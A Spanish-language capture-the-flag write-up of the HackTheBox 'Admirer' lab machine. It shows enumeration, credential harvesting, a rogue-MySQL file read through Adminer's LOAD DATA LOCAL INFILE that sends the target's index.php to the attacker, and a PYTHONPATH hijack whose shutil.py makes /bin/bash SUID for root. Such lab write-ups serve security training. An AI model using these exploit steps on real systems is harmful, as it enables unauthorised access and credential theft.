Post

HackTheBox - Admirer

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Adminer 4.6.2, Python Path Hijacking

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos en la Máquina Admirer

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos.

  • nmap -p<Ports> -sCV <IP> -oN versiones

c. Visitamos el sitio web

  • Al no encontrar algo interesante, fuzzeamos en busca de archivos o directorios con nmap

    1
    2
    3
    4
    5
    6
    
    root@kali> nmap -p80 --script http-enum 10.10.10.187
    
    PORT   STATE SERVICE
    80/tcp open  http
    | http-enum: 
    |_  /robots.txt: Robots file
    
  • En el archivo robots.txt vemos el siguiente mensaje

    1
    2
    
    # This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
    Disallow: /admin-dir
    
  • Como nos dicen que existe un archivo con credenciales, buscamos por nombres de archivos como creds.txt o credentials.txt

    • URL: http:///admin-dir/credentials.txt

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      
      [Internal mail account]
      w.cooper@admirer.htb
      fgJr6q#S\W:$P
      
      [FTP account]
      ftpuser
      %n?4Wz}R$tTF7
      
      [Wordpress account]
      admin
      w0rdpr3ss01!
      

d. Nos autenticamos con las credenciales antes encontradas en el servicio FTP

1
2
3
4
5
6
7
root@kali> ftp 10.10.10.187
Name (10.10.10.187:kali): ftpuser
Password: %n?4Wz}R$tTF7
230 Login successful.
ftp> dir
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
  • Descargamos los anteriores archivos con get <Archivo>

  • Ahora los analizamos y encontramos muchas credenciales, un usuario válido waldo, una estructura en SQL y un directorio utility-scripts

    • index.php

      1
      2
      3
      4
      
      $servername = "localhost";
      $username = "waldo";
      $password = "]F7jLHw:*G>UPrTo}~A"d6b";
      $dbname = "admirerdb";
      
    • dump.sql

      1
      
      -- Table structure for table `items`
      
    • utility-scripts

      1
      2
      3
      4
      5
      
      [ 4096]  utility-scripts
      ├── [ 1795]  utility-scripts/admin_tasks.php
      ├── [  401]  utility-scripts/db_admin.php
      ├── [   20]  utility-scripts/info.php
      └── [   53]  utility-scripts/phptest.php
      

e. Fuzeamos por archivos .php en este directorio

1
2
3
  root@kali> wfuzz -c -t 100 --hc=404  -w /usr/share/seclists/Discovery/Web-Content/big.txt  http://admirer.htb/utility-scripts/FUZZ.php

  000001874:   200        51 L     235 W      4157 Ch     "adminer"
  • Visitamos este servicio, pero, ninguna de las credenciales antes encontradas funcionará por lo que buscamos por vulnerabilidades asociadas a este servicio - Artículo

Configurando el entorno 🎋

  • Modificamos el fichero /etc/mysql/mariadb.conf.d/50-server.cnf

    1
    
    bind-address            = 0.0.0.0
    

    Hacemos que nuestro servidor sea accesible desde cualquier dirección IP.

  • Ahora, crearemos un nuevo usuario admirer:admirer que tenga total acceso a la base de datos admirerdb que tendrá una tabla items

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    root@kali> mysql
    
    MariaDB [(none)]> CREATE USER admirer@<tun0 IP> IDENTIFIED BY 'admirer';
    MariaDB [(none)]> CREATE DATABASE admirerdb;
    MariaDB [(none)]> use admirerdb;
    MariaDB [(admirerdb)]> CREATE TABLE items(id VARCHAR(10), name VARCHAR(255), PRIMARY KEY(id));
    
    # Damos total acceso al uusario **`admirer`** sobre la base de datos **`admirerdb`** y le decimos que se
    # podrá conectar desde cualquier dirección IP.
    MariaDB [(admirerdb)]> GRANT ALL PRIVILEGES ON admirerdb.* TO admirer@'%' WITH GRANT OPTION;
    
    # Recargar los privilegios de MySQL 
    MariaDB [(admirerdb)]> FLUSH PRIVILEGES;
    

g. Ahora, desde adminer.php nos conectamos a nuestro servidor

  • Los datos que captureremos son las credenciales del usuario waldo que están alojadas en el fichero index.php (Esto se vió al descomprimir el fichero html.tar.gz), podremos leer este archivo con ayuda de Wireshark

  • Primero, nos pondremos en escucha por la interfaz de red tun0 y en Adminer ejecutaremos la siguiente sentencia SQL

    1
    2
    
    LOAD DATA LOCAL INFILE '/var/www/html/index.php'
    INTO TABLE test FIELDS TERMINATED BY '\n'
    

  • Ahora en Wireshark veremos los datos que hemos recibido

h. Con estas credenciales nos podemos conectar al servicio SSH

1
2
root@kali> ssh waldo@<Admirer IP>
waldo@admirer:~$

Escalada de Privilegios 💹

a. Listamos nuestro privilegios a nivel de sudoers

1
2
3
4
waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
User waldo may run the following commands on admirer:
  (ALL) SETENV: /opt/scripts/admin_tasks.sh
  • Al inspeccionar el script vemos que si seleccionar la opción 6) Backup web data se usa un script backup.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    backup_web(){
      if [ "$EUID" -eq 0 ]                                                                                   
      then                
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &                                                                                  
      else                                                                                                    
        echo "Insufficient privileges to perform the selected operation."
      fi
    } 
    
  • Inspeccionamos el script backup.py

    1
    2
    3
    4
    5
    6
    7
    8
    
    #!/usr/bin/python3
    
    from shutil import make_archive
    src = '/var/www/html/'
    # old ftp directory, not used anymore
    #dst = '/srv/ftp/html'
    dst = '/var/backups/html'
    make_archive(dst, 'gztar', src)
    
  • Si nos fijamos bien el permiso sudoers, vemos SETENV esta directiva nos permite indicar una variable de entorno para cargar algo Hacktricks - SETENV

  • En este caso podemos cargar la librería shutil desde donde le indiquemos

b. Creamos un fichero ‘shutil.py’ en /dev/shm con el siguiente código

1
2
import os
os.system("chmod +s /bin/bash")
  • Ahora ejecutamos /opt/scripts/admin_tasks.sh como root, escogeremos la opción 6) Backup web data y le indicamos la dirección de nuestro shutil.py

    1
    2
    3
    4
    5
    6
    7
    8
    
    waldo@admirer:/dev/shm$ sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh
    <SNIP>
    Choose an option: 6
    waldo@admirer:/dev/shm$ ls -la /bin/bash
    -rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash
    waldo@admirer:/dev/shm$ bash -p
    bash-4.4# whoami
    root
    
This post is licensed under CC BY 4.0 by the author.